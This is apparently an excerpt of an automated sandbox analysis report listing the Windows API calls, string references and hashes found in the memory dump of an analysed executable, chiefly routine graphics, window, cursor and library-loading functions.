                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Text$CreateExtentFontIndirectMetricsObjectPointReleaseSelect
                                                                                                                                                                                                                                      • String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
                                                                                                                                                                                                                                      • API String ID: 2948443157-222967699
                                                                                                                                                                                                                                      • Opcode ID: 53fe9a462762cb4918ee61071ab08c48f7ebae39ed882d9ecfdb03bcb5db6ebb
                                                                                                                                                                                                                                      • Instruction ID: d310c62e5609ca3062061d10b625b1d271ae10615434581f3ecc8597d6741426
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 53fe9a462762cb4918ee61071ab08c48f7ebae39ed882d9ecfdb03bcb5db6ebb
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 76014875A04704BFDB05DBA5CC42F5EB7ECDB49714F614476F604E7281D5789E008B68
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SelectObject.GDI32(00000000,?), ref: 0041B470
                                                                                                                                                                                                                                      • SelectObject.GDI32(?,00000000), ref: 0041B47F
                                                                                                                                                                                                                                      • StretchBlt.GDI32(?,00000000,00000000,0000000B,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0041B4AB
                                                                                                                                                                                                                                      • SelectObject.GDI32(00000000,00000000), ref: 0041B4B9
                                                                                                                                                                                                                                      • SelectObject.GDI32(?,00000000), ref: 0041B4C7
                                                                                                                                                                                                                                      • DeleteDC.GDI32(00000000), ref: 0041B4D0
                                                                                                                                                                                                                                      • DeleteDC.GDI32(?), ref: 0041B4D9
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ObjectSelect$Delete$Stretch
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1458357782-0
                                                                                                                                                                                                                                      • Opcode ID: 8542cbb8adbe0fd8af4a730cfe3faeef428ae57c020086fb9cb954466ea4b08d
                                                                                                                                                                                                                                      • Instruction ID: 052e9154069abc57648b404522aaf552eddfcc6d95cd3388d63b7ef9ce004286
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8542cbb8adbe0fd8af4a730cfe3faeef428ae57c020086fb9cb954466ea4b08d
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 7B115C72E40619ABDB10DAD9DC86FEFB7BCEF08704F144555B614F7282C678AC418BA8
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetCursorPos.USER32 ref: 004233AF
                                                                                                                                                                                                                                      • WindowFromPoint.USER32(?,?), ref: 004233BC
                                                                                                                                                                                                                                      • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 004233CA
                                                                                                                                                                                                                                      • GetCurrentThreadId.KERNEL32 ref: 004233D1
                                                                                                                                                                                                                                      • SendMessageA.USER32(00000000,00000084,?,?), ref: 004233EA
                                                                                                                                                                                                                                      • SendMessageA.USER32(00000000,00000020,00000000,00000000), ref: 00423401
                                                                                                                                                                                                                                      • SetCursor.USER32(00000000), ref: 00423413
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CursorMessageSendThreadWindow$CurrentFromPointProcess
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1770779139-0
                                                                                                                                                                                                                                      • Opcode ID: 134875e674979cd567c136abb418dc525a6250aa5b529fa10794d0eebf3240cc
                                                                                                                                                                                                                                      • Instruction ID: 22bb490dc700fc35bbf8fe9eba0271ced42fa0644d0760cf779c582944844a3d
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 134875e674979cd567c136abb418dc525a6250aa5b529fa10794d0eebf3240cc
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BA01D4223046103AD6217B755D82E2F26E8DB85B15F50407FF504BB283DA3D9D11937D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(user32.dll), ref: 00494EAC
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,MonitorFromRect), ref: 00494EB9
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 00494EC6
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressProc$HandleModule
                                                                                                                                                                                                                                      • String ID: GetMonitorInfoA$MonitorFromRect$user32.dll
                                                                                                                                                                                                                                      • API String ID: 667068680-2254406584
                                                                                                                                                                                                                                      • Opcode ID: 86a2ddc52e299a4ebb71bf23d73df01b3b4fd34307be7bd5855d98afd1a17bd4
                                                                                                                                                                                                                                      • Instruction ID: 92166a125eb2f71293346f1714c1de0d588af794120117df170beecaff70c54b
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 86a2ddc52e299a4ebb71bf23d73df01b3b4fd34307be7bd5855d98afd1a17bd4
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5FF0F65278171627DE1026668C41F7F6ACCDBD5761F050137BE05AB3C2E99C8C0242FD
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,BZ2_bzDecompressInit), ref: 0045D4E1
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,BZ2_bzDecompress), ref: 0045D4F1
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,BZ2_bzDecompressEnd), ref: 0045D501
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressProc
                                                                                                                                                                                                                                      • String ID: BZ2_bzDecompress$BZ2_bzDecompressEnd$BZ2_bzDecompressInit
                                                                                                                                                                                                                                      • API String ID: 190572456-212574377
                                                                                                                                                                                                                                      • Opcode ID: 0cec18ecd77b334d9913731d687bcbf118ffb91831bb9c9ad7683d7253c977df
                                                                                                                                                                                                                                      • Instruction ID: f545bb075b74a91891c18b47f2e11744e93a99b0212facb5d31f4bd58d546edf
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0cec18ecd77b334d9913731d687bcbf118ffb91831bb9c9ad7683d7253c977df
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6EF0D0B0D01704EAE724DFB6ACC77363A959BA431AF14943B9A0D96263E678044DCF2D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(user32.dll,ChangeWindowMessageFilterEx,00000004,00499934,0045703D,004573E0,00456F94,00000000,00000B06,00000000,00000000,00000001,00000000,00000002,00000000,00480DAC), ref: 0042EA35
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042EA3B
                                                                                                                                                                                                                                      • InterlockedExchange.KERNEL32(0049B668,00000001), ref: 0042EA4C
                                                                                                                                                                                                                                        • Part of subcall function 0042E9AC: GetModuleHandleA.KERNEL32(user32.dll,ChangeWindowMessageFilter,?,0042EA70,00000004,00499934,0045703D,004573E0,00456F94,00000000,00000B06,00000000,00000000,00000001,00000000,00000002), ref: 0042E9C2
                                                                                                                                                                                                                                        • Part of subcall function 0042E9AC: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042E9C8
                                                                                                                                                                                                                                        • Part of subcall function 0042E9AC: InterlockedExchange.KERNEL32(0049B660,00000001), ref: 0042E9D9
                                                                                                                                                                                                                                      • ChangeWindowMessageFilterEx.USER32(00000000,?,00000001,00000000,00000004,00499934,0045703D,004573E0,00456F94,00000000,00000B06,00000000,00000000,00000001,00000000,00000002), ref: 0042EA60
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressExchangeHandleInterlockedModuleProc$ChangeFilterMessageWindow
                                                                                                                                                                                                                                      • String ID: ChangeWindowMessageFilterEx$user32.dll
                                                                                                                                                                                                                                      • API String ID: 142928637-2676053874
                                                                                                                                                                                                                                      • Opcode ID: 2e6935975283b392abf6eb535232e6e33c7297ce4864da2c850d0b2669d54df9
                                                                                                                                                                                                                                      • Instruction ID: 20967f7a279d57b19857f2ad39d34e10c6be6de8430a8d3efc5b40b14e24a4c3
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2e6935975283b392abf6eb535232e6e33c7297ce4864da2c850d0b2669d54df9
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 99E092A1741B20EAEA10B7B67C86FAA2658EB1076DF500037F100A51F1C3BD1C80CE9E
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • LoadLibraryA.KERNEL32(oleacc.dll,?,0044F089), ref: 0044C7EB
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,LresultFromObject), ref: 0044C7FC
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,CreateStdAccessibleObject), ref: 0044C80C
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressProc$LibraryLoad
                                                                                                                                                                                                                                      • String ID: CreateStdAccessibleObject$LresultFromObject$oleacc.dll
                                                                                                                                                                                                                                      • API String ID: 2238633743-1050967733
                                                                                                                                                                                                                                      • Opcode ID: 580db4225bb49e0f2395934ae602c4dd6ca827d8c76c18c7318a842ee4a54372
                                                                                                                                                                                                                                      • Instruction ID: d6497c9818d993b67a5702c7731996643d684f189bbd4b702b1f6e54e13363b7
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 580db4225bb49e0f2395934ae602c4dd6ca827d8c76c18c7318a842ee4a54372
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 50F0DA70282305CAE750BBB5FDD57263694E3A470AF18277BE841551A2C7B94844CB8C
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(kernel32.dll,?,00498794), ref: 00478746
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,VerSetConditionMask), ref: 00478753
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,VerifyVersionInfoW), ref: 00478763
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressProc$HandleModule
                                                                                                                                                                                                                                      • String ID: VerSetConditionMask$VerifyVersionInfoW$kernel32.dll
                                                                                                                                                                                                                                      • API String ID: 667068680-222143506
                                                                                                                                                                                                                                      • Opcode ID: c231c6f2b70c156a9a87dd751a131f3597001cd76c60e66cfe2a3d12b45a0e7a
                                                                                                                                                                                                                                      • Instruction ID: d9a2c3c187cd73cba94933972f30ec689a131e62bb2a59a557d4d9670201d7da
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c231c6f2b70c156a9a87dd751a131f3597001cd76c60e66cfe2a3d12b45a0e7a
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 79C0C9F02C0700EA9604B7F11CCBA7A2548C500729330803FB19EA6182D97C0C104A6C
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetFocus.USER32 ref: 0041B745
                                                                                                                                                                                                                                      • GetDC.USER32(?), ref: 0041B751
                                                                                                                                                                                                                                      • SelectPalette.GDI32(00000000,?,00000000), ref: 0041B786
                                                                                                                                                                                                                                      • RealizePalette.GDI32(00000000), ref: 0041B792
                                                                                                                                                                                                                                      • CreateDIBitmap.GDI32(00000000,?,00000004,?,?,00000000), ref: 0041B7C0
                                                                                                                                                                                                                                      • SelectPalette.GDI32(00000000,00000000,00000000), ref: 0041B7F4
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Palette$Select$BitmapCreateFocusRealize
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3275473261-0
                                                                                                                                                                                                                                      • Opcode ID: 9b17a45ebd00e155e5aeae17ac6cac102e8e00fd56b9a0d3692e3d2bf0971335
                                                                                                                                                                                                                                      • Instruction ID: 38bdddf8d72f5571b31e8017bfcff87152bbfcb95d4f6cd7f9962c0a723fddb9
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9b17a45ebd00e155e5aeae17ac6cac102e8e00fd56b9a0d3692e3d2bf0971335
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8A512F70A002099FDF11DFA9C881AEEBBF9FF49704F104066F504A7791D7799981CBA9
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetFocus.USER32 ref: 0041BA17
                                                                                                                                                                                                                                      • GetDC.USER32(?), ref: 0041BA23
                                                                                                                                                                                                                                      • SelectPalette.GDI32(00000000,?,00000000), ref: 0041BA5D
                                                                                                                                                                                                                                      • RealizePalette.GDI32(00000000), ref: 0041BA69
                                                                                                                                                                                                                                      • CreateDIBitmap.GDI32(00000000,?,00000004,?,?,00000000), ref: 0041BA8D
                                                                                                                                                                                                                                      • SelectPalette.GDI32(00000000,00000000,00000000), ref: 0041BAC1
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Palette$Select$BitmapCreateFocusRealize
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3275473261-0
                                                                                                                                                                                                                                      • Opcode ID: f1b656a7ede54f8d65f93cc35dc493626dae048aef23b352968a277fb398f08e
                                                                                                                                                                                                                                      • Instruction ID: 3fcaffe560058c7771eaec6053d79e0e1924f360d52694d27862de55114c0f48
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f1b656a7ede54f8d65f93cc35dc493626dae048aef23b352968a277fb398f08e
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9D512A74A002189FDB11DFA9C891AAEBBF9FF49700F154066F904EB751D738AD40CBA4
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetFocus.USER32 ref: 0041B57E
                                                                                                                                                                                                                                      • GetDC.USER32(?), ref: 0041B58A
                                                                                                                                                                                                                                      • GetDeviceCaps.GDI32(?,00000068), ref: 0041B5A6
                                                                                                                                                                                                                                      • GetSystemPaletteEntries.GDI32(?,00000000,00000008,?), ref: 0041B5C3
                                                                                                                                                                                                                                      • GetSystemPaletteEntries.GDI32(?,00000000,00000008,?), ref: 0041B5DA
                                                                                                                                                                                                                                      • ReleaseDC.USER32(?,?), ref: 0041B626
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: EntriesPaletteSystem$CapsDeviceFocusRelease
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2502006586-0
                                                                                                                                                                                                                                      • Opcode ID: e956e6ae92597662ed98b2f51c6b506043ab8b509e5ceb21f610fa5f8f95298e
                                                                                                                                                                                                                                      • Instruction ID: 1753bd22f5710d4f749a3cf2d8329d0f84e6490acb09e3fae29671003709e3a5
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e956e6ae92597662ed98b2f51c6b506043ab8b509e5ceb21f610fa5f8f95298e
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D0410631A04258AFDF10DFA9C885AAFBBB4EF59704F1484AAF500EB351D3389D51CBA5
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000057,00000000,0045CF68,?,?,?,?,00000000), ref: 0045CF07
                                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000,00000002,?,?,?,0045CFD4,?,00000000,0045CF68,?,?,?,?,00000000), ref: 0045CF46
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorLast
                                                                                                                                                                                                                                      • String ID: CLASSES_ROOT$CURRENT_USER$MACHINE$USERS
                                                                                                                                                                                                                                      • API String ID: 1452528299-1580325520
                                                                                                                                                                                                                                      • Opcode ID: 1bdeb0a210bc513e3c49bf4cbd891cc1911c01b4b436513822a1df069e086b30
                                                                                                                                                                                                                                      • Instruction ID: 452c5d812052531473411f8275c40b5c85b18bf76fc7955a310c39f58cd58d14
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1bdeb0a210bc513e3c49bf4cbd891cc1911c01b4b436513822a1df069e086b30
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3811A536204304AFD711DAA1C9C2A9EB69EDB44706F604037AD00A62C7D67C5F0AD52D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetSystemMetrics.USER32(0000000B), ref: 0041BDD5
                                                                                                                                                                                                                                      • GetSystemMetrics.USER32(0000000C), ref: 0041BDDF
                                                                                                                                                                                                                                      • GetDC.USER32(00000000), ref: 0041BDE9
                                                                                                                                                                                                                                      • GetDeviceCaps.GDI32(00000000,0000000E), ref: 0041BE10
                                                                                                                                                                                                                                      • GetDeviceCaps.GDI32(00000000,0000000C), ref: 0041BE1D
                                                                                                                                                                                                                                      • ReleaseDC.USER32(00000000,00000000), ref: 0041BE56
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CapsDeviceMetricsSystem$Release
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 447804332-0
                                                                                                                                                                                                                                      • Opcode ID: 3bdc6123dd6674b0137b7fef1a93c0b96d54f33e4692062cf67464f69f8f60e7
